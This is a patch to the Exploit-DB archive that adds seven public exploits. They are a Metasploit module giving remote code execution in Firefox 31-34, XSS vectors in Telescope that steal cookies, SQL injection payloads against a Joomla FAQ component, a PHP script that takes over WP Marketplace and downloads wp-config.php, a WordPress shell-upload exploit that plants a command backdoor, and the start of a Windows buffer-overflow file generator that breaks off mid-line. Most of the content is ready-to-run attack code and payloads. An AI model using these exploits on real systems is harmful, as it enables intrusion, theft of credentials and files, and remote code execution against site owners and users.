From 8f1f948d2a0c738697480c5124b5327068f5994a Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Wed, 25 Mar 2015 08:36:20 +0000 Subject: [PATCH] DB: 2015-03-25 7 new exploits --- files.csv | 8 +- platforms/multiple/remote/36480.rb | 115 ++++++++++++++++++++++++++++ platforms/php/webapps/36463.txt | 27 +++++++ platforms/php/webapps/36464.txt | 71 +++++++++++++++++ platforms/php/webapps/36466.txt | 117 +++++++++++++++++++++++++++++ platforms/php/webapps/36478.php | 92 +++++++++++++++++++++++ platforms/windows/local/36465.py | 31 ++++++++ platforms/windows/remote/36477.py | 64 ++++++++++++++++ 8 files changed, 524 insertions(+), 1 deletion(-) create mode 100755 platforms/multiple/remote/36480.rb create mode 100755 platforms/php/webapps/36463.txt create mode 100755 platforms/php/webapps/36464.txt create mode 100755 platforms/php/webapps/36466.txt create mode 100755 platforms/php/webapps/36478.php create mode 100755 platforms/windows/local/36465.py create mode 100755 platforms/windows/remote/36477.py diff --git a/files.csv b/files.csv index 378f0fb67..8e000694c 100755 --- a/files.csv +++ b/files.csv @@ -32295,7 +32295,6 @@ id,file,description,date,author,platform,type,port 35838,platforms/php/webapps/35838.txt,"Tolinet Agencia 'id' Parameter SQL Injection Vulnerability",2011-06-10,"Andrea Bocchetti",php,webapps,0 35839,platforms/php/webapps/35839.txt,"Joomla Minitek FAQ Book 1.3 'id' Parameter SQL Injection Vulnerability",2011-06-13,kaMtiEz,php,webapps,0 35840,platforms/php/webapps/35840.txt,"RedaxScript 2.1.0 - Privilege Escalation",2015-01-20,"shyamkumar somana",php,webapps,80 -35841,platforms/windows/remote/35841.txt,"Bsplayer 2.68 - HTTP Response Buffer Overflow",2015-01-20,"Fady Mohammed Osman",windows,remote,0 35842,platforms/windows/dos/35842.c,"MalwareBytes Anti-Exploit 1.03.1.1220, 1.04.1.1012 Out-of-bounds Read DoS",2015-01-20,"Parvez Anwar",windows,dos,0 35845,platforms/java/remote/35845.rb,"ManageEngine Multiple Products Authenticated File Upload",2015-01-20,metasploit,java,remote,8080 35846,platforms/php/webapps/35846.txt,"WordPress Pixarbay Images Plugin 2.3 - Multiple Vulnerabilities",2015-01-20,"Hans-Martin Muench",php,webapps,80 @@ -32883,6 +32882,10 @@ id,file,description,date,author,platform,type,port 36460,platforms/php/webapps/36460.txt,"Flirt-Projekt 4.8 'rub' Parameter SQL Injection Vulnerability",2011-12-17,Lazmania61,php,webapps,0 36461,platforms/php/webapps/36461.txt,"Social Network Community 2 'userID' Parameter SQL Injection Vulnerability",2011-12-17,Lazmania61,php,webapps,0 36462,platforms/php/webapps/36462.txt,"Video Community Portal 'userID' Parameter SQL Injection Vulnerability",2011-12-18,Lazmania61,php,webapps,0 +36463,platforms/php/webapps/36463.txt,"Telescope <= 0.9.2 - Markdown Persistent XSS",2015-03-21,shubs,php,webapps,0 +36464,platforms/php/webapps/36464.txt,"Joomla Spider FAQ Component - SQL Injection Vulnerability",2015-03-22,"Manish Tanwar",php,webapps,0 +36465,platforms/windows/local/36465.py,"Free MP3 CD Ripper 2.6 - Local Buffer Overflow",2015-03-22,"TUNISIAN CYBER",windows,local,0 +36466,platforms/php/webapps/36466.txt,"Wordpress Marketplace 2.4.0 - Arbitrary File Download",2015-03-22,"Kacper Szurek",php,webapps,0 36468,platforms/php/webapps/36468.txt,"PHP Booking Calendar 10e 'page_info_message' Parameter Cross Site Scripting Vulnerability",2011-12-19,G13,php,webapps,0 36469,platforms/php/webapps/36469.txt,"Joomla! 'com_tsonymf' Component 'idofitem' Parameter SQL Injection Vulnerability",2011-12-20,CoBRa_21,php,webapps,0 36470,platforms/php/webapps/36470.txt,"Tiki Wiki CMS Groupware <= 8.1 'show_errors' Parameter HTML Injection Vulnerability",2011-12-20,"Stefan Schurtz",php,webapps,0 @@ -32892,3 +32895,6 @@ id,file,description,date,author,platform,type,port 36474,platforms/php/webapps/36474.txt,"epesi BIM 1.2 rev 8154 Multiple Cross-Site Scripting Vulnerabilities",2011-12-21,"High-Tech Bridge SA",php,webapps,0 36475,platforms/hardware/remote/36475.txt,"Barracuda Control Center 620 Cross Site Scripting and HTML Injection Vulnerabilities",2011-12-21,Vulnerability-Lab,hardware,remote,0 36476,platforms/windows/local/36476.txt,"Kaspersky Internet Security/Anti-Virus '.cfg' File Memory Corruption Vulnerability",2011-12-21,"Vulnerability Research Laboratory",windows,local,0 +36477,platforms/windows/remote/36477.py,"Bsplayer 2.68 - HTTP Response Exploit (Universal)",2015-03-24,"Fady Mohammed Osman",windows,remote,0 +36478,platforms/php/webapps/36478.php,"WordPress Plugin InBoundio Marketing 1.0 - Shell Upload Vulnerability",2015-03-24,KedAns-Dz,php,webapps,0 +36480,platforms/multiple/remote/36480.rb,"Firefox Proxy Prototype Privileged Javascript Injection",2015-03-24,metasploit,multiple,remote,0 diff --git a/platforms/multiple/remote/36480.rb b/platforms/multiple/remote/36480.rb new file mode 100755 index 000000000..5fa284a24 --- /dev/null +++ b/platforms/multiple/remote/36480.rb @@ -0,0 +1,115 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/exploitation/jsobfu' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::Remote::BrowserAutopwn + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection', + 'Description' => %q{ + This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect + component and gaining a reference to the privileged chrome:// window. This exploit + requires the user to click anywhere on the page to trigger the vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'joev' # discovery and metasploit module + ], + 'DisclosureDate' => "Jan 20 2014", + 'References' => [ + ['CVE', '2014-8636'], + ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ] + + ], + 'Targets' => [ + [ + 'Universal (Javascript XPCOM Shell)', { + 'Platform' => 'firefox', + 'Arch' => ARCH_FIREFOX + } + ], + [ + 'Native Payload', { + 'Platform' => %w{ java linux osx solaris win }, + 'Arch' => ARCH_ALL + } + ] + ], + 'DefaultTarget' => 0, + 'BrowserRequirements' => { + :source => 'script', + :ua_name => HttpClients::FF, + :ua_ver => lambda { |ver| ver.to_i.between?(31, 34) } + } + )) + + register_options([ + OptString.new('CONTENT', [ false, "Content to display inside the HTML ." ]) + ], self.class) + end + + def on_request_exploit(cli, request, target_info) + send_response_html(cli, generate_html(target_info)) + end + + def default_html + "The page has moved. Click here to be redirected." + end + + def generate_html(target_info) + key = Rex::Text.rand_text_alpha(5 + rand(12)) + frame = Rex::Text.rand_text_alpha(5 + rand(12)) + r = Rex::Text.rand_text_alpha(5 + rand(12)) + opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin + + js = js_obfuscate %Q| + var opts = #{JSON.unparse(opts)}; + var key = opts['#{key}']; + var props = {}; + props.has = function(n){ + if (!window.top.x && n=='nodeType') { + window.top.x=window.open("chrome://browser/content/browser.xul", "x", + "chrome,,top=-9999px,left=-9999px,height=100px,width=100px"); + if (window.top.x) { + Object.setPrototypeOf(document, pro); + setTimeout(function(){ + x.location='data:text/html,'; + + setTimeout(function(){ + x.messageManager.loadFrameScript('data:,'+key, false); + setTimeout(function(){ + x.close(); + }, 100) + }, 100) + }, 100); + } + } + } + var pro = Object.getPrototypeOf(document); + Object.setPrototypeOf(document, Proxy.create(props)); + | + + %Q| + + + + + #{datastore['CONTENT'] || default_html} + + + | + end +end \ No newline at end of file diff --git a/platforms/php/webapps/36463.txt b/platforms/php/webapps/36463.txt new file mode 100755 index 000000000..edff8b019 --- /dev/null +++ b/platforms/php/webapps/36463.txt @@ -0,0 +1,27 @@ +# Exploit Title: Persistent XSS via Markdown on Telescope <= 0.9.2 +# Date: Aug 22 2014 +# Exploit Author: shubs +# Vendor Homepage: http://www.telescopeapp.org/ +# Software Link: https://github.com/TelescopeJS/Telescope +# Version: <= 0.9.2 +# CVE : CVE-2014-5144 + +Telescope 0.9.2 and below suffer from a persistent cross site scripting +vulnerability due to the lack of input sanitisation and validation +performed when parsing markdown user input. An authenticated user can +include links, images, code blocks and more through markdown, in the form +of comments, posts or replies and more. + +As an example, the following vectors below can be used in comments, posts +or replies to trigger the XSS: + +[notmalicious](javascript:window.onerror=alert;throw%20document.cookie) +[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) + +Once posted as comments, the above markdown is converted to links without +any sanitisation. When such links are clicked, the vector is executed +successfully. + +Screenshots: +http://i.imgur.com/6SQgUYd.png +http://i.imgur.com/6VeZasj.png diff --git a/platforms/php/webapps/36464.txt b/platforms/php/webapps/36464.txt new file mode 100755 index 000000000..f8512f782 --- /dev/null +++ b/platforms/php/webapps/36464.txt @@ -0,0 +1,71 @@ +################################################################################################## +#Exploit Title : Joomla Spider FAQ component SQL Injection vulnerability +#Author : Manish Kishan Tanwar AKA error1046 +#Vendor Link : http://demo.web-dorado.com/spider-faq.html +#Date : 21/03/2015 +#Discovered at : IndiShell Lab +#Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Incredible,Kishan Singh and ritu rathi +#Discovered At : Indishell Lab +################################################################################################## + +//////////////////////// +/// Overview: +//////////////////////// + + +joomla component Spider FAQ is not filtering data in theme and Itemid parameters +and hence affected from SQL injection vulnerability + +/////////////////////////////// +// Vulnerability Description: +/////////////////////////////// +vulnerability is due to theme and Itemid parameter + +//////////////// +/// POC //// +/////////////// + +POC image=http://oi57.tinypic.com/2rh1zk7.jpg + +SQL Injection in theme parameter +================================= + +Use error based double query injection with theme parameter +Like error based double query injection for exploiting username ---> +and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - + +Injected Link---> +http://website.com/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4 and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - &searchform=1&expand=0&Itemid=109 + + +SQL Injection in Itemid parameter +================================= + +Itemid Parameter is exploitable using xpath injection + +User extraction payload +------------------------ +' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- - + +crafted URL---> +http://localhostm/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- - + +Table extraction +----------------- +' and extractvalue(6678,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- - + +Crafted URL----> +http://localhost/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' and extractvalue(6678,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- - + + --==[[ Greetz To ]]==-- +############################################################################################ +#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, +#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad, +#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA, +#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash +############################################################################################# + --==[[Love to]]==-- +# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi, +#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik) + --==[[ Special Fuck goes to ]]==-- + <3 suriya Cyber Tyson <3 \ No newline at end of file diff --git a/platforms/php/webapps/36466.txt b/platforms/php/webapps/36466.txt new file mode 100755 index 000000000..e563d36e0 --- /dev/null +++ b/platforms/php/webapps/36466.txt @@ -0,0 +1,117 @@ +# Exploit Title: WP Marketplace 2.4.0 Arbitrary File Download +# Date: 26-10-2014 +# Software Link: https://wordpress.org/plugins/wpmarketplace/ +# Exploit Author: Kacper Szurek +# Contact: http://twitter.com/KacperSzurek +# Website: http://security.szurek.pl/ +# Category: webapps +# CVE: CVE-2014-9013 and CVE-2014-9014 + +1. Description + +Anyone can run user defined function because of call_user_func. + +File: wpmarketplace\libs\cart.php + +function ajaxinit(){ +if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){ + if(function_exists($_POST['execute'])) + call_user_func($_POST['execute'],$_POST); + else + echo __("function not defined!","wpmarketplace"); + die(); + } +} + +http://security.szurek.pl/wp-marketplace-240-arbitrary-file-download.html + +2. Proof of Concept + +$file = '../../../wp-config.php'; +$url = 'http://wordpress-url/'; +$user = 'userlogin'; +$email = 'useremail@email.email'; +$pass = 'password'; +$cookie = "/cookie.txt"; + +$ckfile = dirname(__FILE__) . $cookie; +$cookie = fopen($ckfile, 'w') or die("Cannot create cookie file"); + +// Register +$ch = curl_init(); +curl_setopt($ch, CURLOPT_URL, $url.'?checkout_register=register'); +curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie); +curl_setopt($ch, CURLOPT_TIMEOUT, 10); +curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); +curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); +curl_setopt($ch, CURLOPT_POST, 1); +curl_setopt($ch, + CURLOPT_POSTFIELDS, + array( + 'register_form' => 'register', + 'reg[user_login]' => $user, + 'reg[user_email]' => $email, + 'reg[user_pass]' => $pass + )); +$content = curl_exec($ch); +if (!preg_match("/success/i", $content)) { + die("Cannot register"); +} +// Log in +curl_setopt($ch, CURLOPT_URL, $url.'wp-login.php'); +curl_setopt($ch, + CURLOPT_POSTFIELDS, + array( + 'log' => $user, + 'pwd' => $pass, + 'wp-submit' => 'Log%20In' + )); +$content = curl_exec($ch); +if (!preg_match('/adminmenu/i', $content)) { + die("Cannot login"); +} +// Add subscriber as plugin admin +curl_setopt($ch, CURLOPT_URL, $url); +curl_setopt($ch, + CURLOPT_POSTFIELDS, + array( + 'action' => 'wpmp_pp_ajax_call', + 'execute' => 'wpmp_save_settings', + '_wpmp_settings[user_role][]' => 'subscriber' + )); +$content = curl_exec($ch); +if (!preg_match('/Settings Saved Successfully/i', $content)) { + die("Cannot set role"); +} +// Request noonce +curl_setopt($ch, CURLOPT_URL, $url); +curl_setopt($ch, + CURLOPT_POSTFIELDS, + array( + 'action' => 'wpmp_pp_ajax_call', + 'execute' => 'wpmp_front_add_product' + )); +$content = curl_exec($ch); +preg_match('/name="__product_wpmp" value="([^"]+)"/i', $content, $nonce); +if (strlen($nonce[1]) < 2) { + die("Cannot get nonce"); +} +// Set file to download +curl_setopt($ch, CURLOPT_URL, $url); +curl_setopt($ch, + CURLOPT_POSTFIELDS, + array( + '__product_wpmp' => $nonce[1], + 'post_type' => 'wpmarketplace', + 'id' => '123456', + 'wpmp_list[base_price]' => '0', + 'wpmp_list[file][]' => $file + )); +$content = curl_exec($ch); +header("Location: ".$url."?wpmpfile=123456"); + +3. Solution: + +Update to version 2.4.1 + +https://downloads.wordpress.org/plugin/wpmarketplace.2.4.1.zip \ No newline at end of file diff --git a/platforms/php/webapps/36478.php b/platforms/php/webapps/36478.php new file mode 100755 index 000000000..8ac78327c --- /dev/null +++ b/platforms/php/webapps/36478.php @@ -0,0 +1,92 @@ +> D_x . Made In Algeria . x_Z << # +########################################### +# +# [>] Title : WordPress plugin (InBoundio Marketing) Shell Upload Vulnerability +# +# [>] Author : KedAns-Dz +# [+] E-mail : ked-h (@hotmail.com) +# [+] FaCeb0ok : fb.me/K3d.Dz +# [+] TwiTter : @kedans +# +# [#] Platform : PHP / WebApp +# [+] Cat/Tag : File Upload / Code Exec +# +# [<] <3 <3 Greetings t0 Palestine <3 <3 +# [!] Vendor : http://www.inboundio.com +# +########################################### +# +# [!] Description : +# +# Wordpress plugin InBoundio Marketing v1.0 is suffer from File/Shell Upload Vulnerability +# remote attacker can upload file/shell/backdoor and exec commands. +# +#### +# Lines (6... to 20) : csv_uploader.php +#### +# +# ExpLO!T : +# ------- + +$postData = array(); +$postData[ 'file' ] = "@k3dz.php"; #Shell_2_Exec ;) + +$dz = curl_init(); +curl_setopt($dz, CURLOPT_URL, "http://[Target]/wp-content/plugins/inboundio-marketing/admin/partials/csv_uploader.php"); +curl_setopt($dz, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); +curl_setopt($dz, CURLOPT_POST, 1); +curl_setopt($dz, CURLOPT_POSTFIELDS, $postData ); +curl_setopt($dz, CURLOPT_TIMEOUT, 0); +$buf = curl_exec ($dz); +curl_close($dz); +unset($dz); +echo $buf; + +/* +[!] creat your shell file => + _ k3dz.php : + + + +[>] Post the exploit +[+] Find you'r backdoor : ../inboundio-marketing/admin/partials/uploaded_csv/k3dz.php?dz=[ CMD ] +[+] Or upload what you whant ^_^ ... + +*/ + +#### +# +# Hassi Messaoud (30500) , 1850 city/hood si' elHaouass .<3 +#--------------------------------------------------------------- +# Greetings to my Homies : Meztol-Dz , Caddy-Dz , Kalashinkov3 , +# Chevr0sky , Mennouchi.Islem , KinG Of PiraTeS , TrOoN , T0xic, +# & Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz , Barbaros-DZ , & +# & KnocKout , Angel Injection , The Black Divels , kaMtiEz , & +# & Evil-Dz , Elite_Trojan , MalikPc , Marvel-Dz , Shinobi-Dz, & +# & Keystr0ke , JF , r0073r , CroSs , Inj3ct0r/Milw0rm 1337day & +# PacketStormSecurity * Metasploit * OWASP * OSVDB * CVE Mitre ; +#### + +# REF : http://k3dsec.blogspot.com/2015/03/wordpress-plugin-inboundio-marketing.html + +?> + + diff --git a/platforms/windows/local/36465.py b/platforms/windows/local/36465.py new file mode 100755 index 000000000..b85ad8661 --- /dev/null +++ b/platforms/windows/local/36465.py @@ -0,0 +1,31 @@ +#!/usr/bin/python + +#[+] Author: TUNISIAN CYBER +#[+] Exploit Title: Free MP3 CD Ripper All versions Local Buffer Overflow +#[+] Date: 20-03-2015 +#[+] Type: Local Exploits +#[+] Tested on: WinXp/Windows 7 Pro +#[+] Vendor: http://www.commentcamarche.net/download/telecharger-34082200-free-mp3-cd-ripper +#[+] Friendly Sites: sec4ever.com +#[+] Twitter: @TCYB3R + +## EDB Note: Didn't work with Windows 7. + +from struct import pack +file="evilfile.wav" +junk="\x41"*4112 +eip = pack('